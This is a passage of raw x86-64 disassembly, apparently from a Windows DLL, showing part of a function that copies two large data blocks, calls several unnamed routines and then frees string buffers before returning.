mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008e96
call fcn.18001dd90
test dil, dil
jne 0x180008826
mov r8d, 0x20350
lea rdx, [0x18022e520]
lea rcx, [rsp + 0x248]
call fcn.1800066c0
mov r8d, 0x234400
lea rdx, [0x18073a6f0]
lea rcx, [rsp + 0x228]
call fcn.1800066c0
lea rcx, [rsp + 0x1e8]
call fcn.180006920
lea rax, [0x180069ed0]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 0xc3
lea rax, [rsp + 0x1e8]
mov r8, qword [rsp + 0x1e8]
mov rdx, qword [rsp + 0x200]
cmp rdx, 7
cmova rax, r8
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0x1f8]
mov qword [rsp + 0x58], rcx
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rsp + 0xc8], xmm0
mov qword [rsp + 0xa0], rsi
lea rax, [rsp + 0x130]
cmp qword [rsp + 0x148], 7
cmova rax, qword [rsp + 0x130]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x58], rax
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rsp + 0xd8], xmm0
mov qword [rsp + 0xa8], r14
lea rax, [rsp + 0x1e8]
cmp rdx, 7
cmova rax, r8
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rsp + 0xe8], xmm0
movabs rax, 0xc000000000000020
mov qword [rsp + 0xb0], rax
lea rax, [rsp + 0x228]
cmp qword [rsp + 0x240], 7
cmova rax, qword [rsp + 0x228]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x238]
mov qword [rsp + 0x58], rax
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rsp + 0xf8], xmm0
movabs rax, 0xc000000000000030
mov qword [rsp + 0xb8], rax
lea rax, [rsp + 0x1e8]
cmp rdx, 7
cmova rax, r8
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rsp + 0x108], xmm0
movabs rax, 0xc000000000000040
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0x50], 5
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x2e8]
call fcn.1800126b0
nop
mov edx, 0x2710
lea rcx, [rsp + 0x2e8]
call fcn.180005eb0
xor dil, dil
mov byte [rsp + 0x40], dil
lea rax, [0x18006a058]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0xc
lea r8, [rsp + 0x130]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x178]
call fcn.18000f5f0
nop
lea rdx, [rsp + 0x178]
lea rcx, [rsp + 0x80]
call fcn.18000f4d0
nop
lea rcx, [rsp + 0x80]
call fcn.1800049c0
movzx esi, al
lea rcx, [rsp + 0x80]
call fcn.180004180
test sil, sil
je 0x180008aa7
mov dil, 1
mov byte [rsp + 0x40], dil
lea rdx, [rsp + 0x178]
lea rcx, [rsp + 0x80]
call fcn.18000f4d0
nop
lea rcx, [rsp + 0x80]
call fcn.180004ac0
nop
lea rcx, [rsp + 0x80]
call fcn.180004180
nop
lea rcx, [rsp + 0x178]
call fcn.180004180
nop
jmp 0x180008abe
test dil, dil
jne 0x180008b0b
lea rax, [0x18006a078]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0xd
lea r8, [rsp + 0x2c8]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x178]
call fcn.18000f5f0
nop
xor edx, edx
mov rcx, rax
call fcn.180005eb0
nop
lea rcx, [rsp + 0x178]
call fcn.180004180
lea rdx, [0x18006a098]
lea rcx, [rsp + 0x178]
call fcn.18000b010
nop
lea rcx, [rsp + 0x178]
call fcn.1800060a0
nop
lea rcx, [rsp + 0x178]
call fcn.180004180
lea rcx, [rsp + 0x150]
call fcn.180006ee0
nop
lea rcx, [rsp + 0x2e8]
call fcn.180004180
nop
lea rcx, [rsp + 0x2c8]
call fcn.180004180
nop
lea rcx, [rsp + 0x228]
call fcn.180004180
nop
lea rcx, [rsp + 0x288]
call fcn.180004180
nop
lea rcx, [rsp + 0x1e8]
call fcn.180004180
nop
lea rcx, [rsp + 0x248]
call fcn.180004180
nop
lea rcx, [rsp + 0x268]
call fcn.180004180
nop
lea rcx, [rsp + 0x308]
call fcn.180004180
nop
lea rcx, [rsp + 0x328]
call fcn.180004180
nop
lea rcx, [rsp + 0x348]
call fcn.180004180
nop
lea rcx, [rsp + 0x368]
call fcn.180004180
nop
lea rcx, [rsp + 0x388]
call fcn.180004180
nop
lea rcx, [rsp + 0x3a8]
call fcn.180004180
nop
lea rcx, [rsp + 0x3c8]
call fcn.180004180
nop
mov rdx, qword [rsp + 0x2c0]
cmp rdx, 7
jbe 0x180008c55
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008c50
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008e9c
call fcn.18001dd90
movdqa xmm0, xmmword [0x180de0730]
movdqu xmmword [rsp + 0x2b8], xmm0
mov word [rsp + 0x2a8], bx
mov rdx, qword [rsp + 0x1e0]
cmp rdx, 7
jbe 0x180008cbe
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008cb1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008ea2
call fcn.18001dd90
movdqa xmm0, xmmword [0x180de0730]
mov qword [rsp + 0x1d8], rbx
mov qword [rsp + 0x1e0], 7
mov word [rsp + 0x1c8], bx
mov rdx, qword [rsp + 0x1c0]
cmp rdx, 7
jbe 0x180008d2a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008d1d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008ea8
call fcn.18001dd90
movdqa xmm0, xmmword [0x180de0730]
mov qword [rsp + 0x1b8], rbx
mov qword [rsp + 0x1c0], 7
mov word [rsp + 0x1a8], bx
mov rdx, qword [rsp + 0x148]
cmp rdx, 7
jbe 0x180008d96
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008d89
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008eae
call fcn.18001dd90
movdqa xmm0, xmmword [0x180de0730]
mov qword [rsp + 0x140], rbx
mov qword [rsp + 0x148], 7
mov word [rsp + 0x130], bx
mov rdx, qword [rsp + 0x220]
cmp rdx, 7
jbe 0x180008e02
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x208]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008df5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008eb4
call fcn.18001dd90
movdqa xmm0, xmmword [0x180de0730]
movdqu xmmword [rsp + 0x218], xmm0
mov word [rsp + 0x208], bx
lea rcx, [rsp + 0x150]
call fcn.180004180
mov rcx, qword [rsp + 0x1780]
xor rcx, rsp
call fcn.18001dd70
lea r11, [rsp + 0x1790]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop r15
ret
call fcn.18002804c
nop
call fcn.18002804c
nop
call fcn.18002804c
nop
call fcn.18002804c
nop
call fcn.18002804c
nop
call fcn.18002804c
nop
call fcn.18002804c
nop
call fcn.18002804c
nop
call fcn.18002804c
nop
call fcn.18002804c
nop
call fcn.18002804c
nop
call fcn.18002804c
int3
call fcn.18002804c
nop
call fcn.18002804c
nop
call fcn.18002804c
nop
call fcn.18002804c
nop
call fcn.18002804c
nop
call fcn.18002804c
int3